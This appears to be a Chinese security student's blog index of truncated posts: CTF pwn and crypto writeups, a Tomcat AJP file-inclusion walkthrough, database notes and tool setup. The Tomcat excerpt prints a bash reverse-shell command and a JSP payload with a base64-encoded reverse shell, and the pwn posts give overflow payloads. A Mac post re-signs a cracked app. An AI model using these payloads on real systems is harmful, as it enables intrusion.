WUST-CTF2020题目WP+复现
写在前面:
emm,感觉题目由易到难还是比较适合新手的,学到不少
Pwn
getshell
简单的栈溢出
payload = ‘a’ * 0x18 + ‘aaaa’ + p32(0x804851B)
getshell-2
这道题和上一题类似。。。
只是说用sh也行,libc弄了好久结果还有点小问题,按D转化为Data获得sh的位置0x08048671然后添加到call system的地址后
payload=‘a’*(0x18+4)+p32(0x08048529)+p32(0x08048670)
number_game
在v1 = -v1后仍然要小于0,怎么实现呢
取负就是~a+1,0xf000 0000可以实现
Closed
close(0)close(1)close(2)分别对应着输入输出和报错,这里意味着连到sh后没法看到输出
Solve: sh 1>&0
就是把标准输出重定向到标准输入
参考:https://www.cnblogs.com/caolisong/archive/2007/04/25/726896.html
NameYourCat
这里 ...
汇编-bitcount
题目条件
嗯。。。条件全被控制了
两种解法,反正我是没想出来,第一种也是Java的bitcount函数的实现
两两归一
https://blog.csdn.net/Scl_Diligent/article/details/101716713
emm,图源某位大佬,从左向右看,具体举个🌰,假设为8位
1
1
0
1
1
0
1
0
S1
1
0
1
1
S1’=(S1>>1) & 0b01010101(0x55)
1
0
0
1
0
1
0
1
S2=S1-S1’
0
1
0
1
S2’=S2&0b00110011(0x33)
1
0
0
1
S2’'=(S2>>2)&0b00110011(0x33)
0
0
1
1
0
0
1
0
S3=S2’+S2’’
0
0
1
1
S3’=S3>>4
0
0
0
0
0
1
0
1
S4=(S3+S3’)&0b00001111(0x0f)
这已经得到结果了,对于第三行,假设从左到右为b0, b1, ...
每日一练之"AJP漏洞Tomcat文件包含"
之前的新生赛也打过。。。
https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
用到的是文件包含漏洞
准备工作
首先服务器的端口要打开。。。
http://www.jackson-t.ca/runtime-exec-payloads.html
在这编译下
bash -i >& /dev/tcp/服务器/端口号 0>&1
12345678910<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(&qu ...
记一次Mac上的应用程序闪退
今天在讨论时,本来想举一个栗子🌰,发现我的Calendar 366 Ⅱ在状态栏中不见了踪影,这怎么行,生产力工具都莫得了,赶紧想想办法
首先先看看原因
嗯。。。下载一下之前的版本,好叭,都是打不开
baidu了一下,发现说是包目录中MacOS里的执行文件不识别的问题
???这不好好的吗,试着运行了下结果直接闪退了
直接搜索闪退相关,发现是破解者证书被注销了。。。
重签名一下
12$ codesign -f -s - --deep /Applications/Calendar\ 366\ II.app/Applications/Calendar 366 II.app: replacing existing signature
复活!
每日一练之"got&plt 延迟绑定"
解题步骤
好了,那么先来说说什么是延迟绑定技术
呐,这个呢就得从动态链接说起,因为呢为了提高这一过程的效率,将符号链接这一过程呢放在了运行时,也就是当你调用的某个函数的时候呢,再去链接,为什么这样做呢?因为大部分库函数可能你并不会用到,如果提前链接这么多函数,效率肯定很低,那么第一次运行时再去绑定函数地址,然后后面再次调用这个函数时则不需要重复链接了,可以直接调用,这样做能够相对提高不少效率
可以知道动态绑定就是理解为,我要用了,我才去调用的一种技术,类似于Swift里的lazy var
我们看到题目中
有一个全局变量的指针,可以试着让指针去覆盖返回地址
看汇编的最后进行了call,那么只要第一个打入exit的地址第二个打入win的地址即可,但是这里不能是0x08048780,因为有动态绑定嘛,我们打入的函数地址应该是got层的,所以向里面进
最终得到0x0804A01C
12345p.recvuntil("Input address\n\n")p.sendline(str(0x0804A01C))p.recvuntil("Input val ...
每日一练之"栅栏密码的Python实现"
What’s Rail-Fence
传统型的栅栏密码就是将明文分为n组,然后从每组里一个个拿出来,一直拿到没有,如果已经空了(长度和栏数取模不为零)那么就跳过下一组。
Python实现
写了一个小时。。。没打过ACM实在没得思维,慢慢写慢慢调,主要是解密的有点点难,相对网上一些代码我写的可能复杂,如果之后学习了算法可能会好一些吧
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152import mathdef rfencode(str, l): s = '' group = math.ceil(len(str) / l) # 组数 for i in range(0, l): for j in range(0, group): ind = j * l + i if ind < len(str): s += str[ind ...
简单数据库学习-2
用access创建表
对于主键,是无重复的(禁止新数据的录入)
SQL语句
SELECT
基本操作
SELECT * FROM StuClas
SELECT cLassid FROM StuCLas
这里有两个问题,第一个,classid大小写错误,但是仍能识别,且查询列名变为搜索名,表明大小写也错误,但是仍会查询,但是如果两者是不存在的名称(多输少输输错了都不行)
对列、行进行操作
SELECT StuName, 2020-Age AS birth FROM Students
对Age进行了操作且命名(不然会是Expr1001)
SELECT DISTINCT StuID FROM StuClas
由此得知不加DISTINCT相当于加了ALL
添加限定条件
SELECT DISTINCT StuName FROM Students WHERE StuID='1001'
精确查找,不等于用<>
SELECT StuId, Grade FROM StuClas WHERE Grade IS NULL
空数据查询
SELECT DISTINCT StuI ...
TJU D.I.E选拔赛 WP
Web
Warmup
Crypto
Paillier的考试
查了查Paillier同态加密算法
试了试这个快速生成密钥是错的。。。必须得手动算
好在伟大GOOGLE
直接算lambda和miu就可以得出结果
首先得到pq,然后顺水推舟了
123456789101112131415161718192021222324252627from Crypto.Util.number import *from gmpy2 import *n=72156014420789532146586397821551205969075843918167356511004891479703383491187g=72156014420789532146586397821551205969075843918167356511004891479703383491188c=64549102062133939817740021344339874022248163187514102002141895015269919972659695585161800619051689227658586595702151422601 ...
Linux下将应用转化为桌面图标
我们拿蚁剑做例子,有一个AntSword的ELF文件
sudo vi /usr/share/applications/AntSword.desktop
输入
1234567891011121314# 文件头(必须)[Desktop Entry]# 编码方式(可选)Encoding=UTF-8# 程序名(必须)Name = XXX# 图标(可选)Icon=图标文件名(全称包含路径)# 执行脚本(若为应用程序桌面图标则必选)Exec=脚本文件路径# 分类Type=Application# 鼠标经过上面时的提示名称Comment=comment
比如我这里就输入了
123456789101112# 文件头(必须)[Desktop Entry]# 编码方式(可选)Encoding=UTF-8# 程序名(必须)Name = AntSword# 图标(可选)Icon=/opt/AntSword-Loader-v4.0.3-linux-x64/logo.png# 执行脚本(若为应用程序桌面图标则必选)Exec=/opt/AntSword-Loader-v4.0.3-linux-x64/AntSwo ...
简易数据库学习-1
关系型数据库的基本概念
最简单的关系型数据库
组成:字段(属性)、关系模式、记录(元组)
要求
列与行是无序的
同一列的类型相同
元组不能完全相同
一个属性值必须是原子值
KEY
主KEY(必需)*
唯一标识符
候选KEY
其他标识符
外KEY
一个表的候选KEY是其他表主KEY
数据库的组成
一般由多张表组成
之间相互有联系
关系中的数据约束
实体完整性约束
即主KEY不为空
参照完全性约束
即外KEY不能为NULL(类似于指向空指针)
用户定义的完整性约束
即属性值必须在规定范围内
关系代数(对表的元素进行运算)
交并差 不叙
笛卡尔积
离散中学过了A={a,b,c} B={a,b} AxB={<a,a>,<a,b>,<b,a>,<b,b>,<c,a>,<c,b>}
组成新的序列
在这里,理解起来也类似,只是A和B的元素变成了行
投影
就是筛选
选择
除法
可以看成是乘法逆运算
但是如果不符合的就被丢掉了
连接
就是做笛卡尔积时再进行筛选
多个条件使用∧∨
∧是且∨是或,这个 ...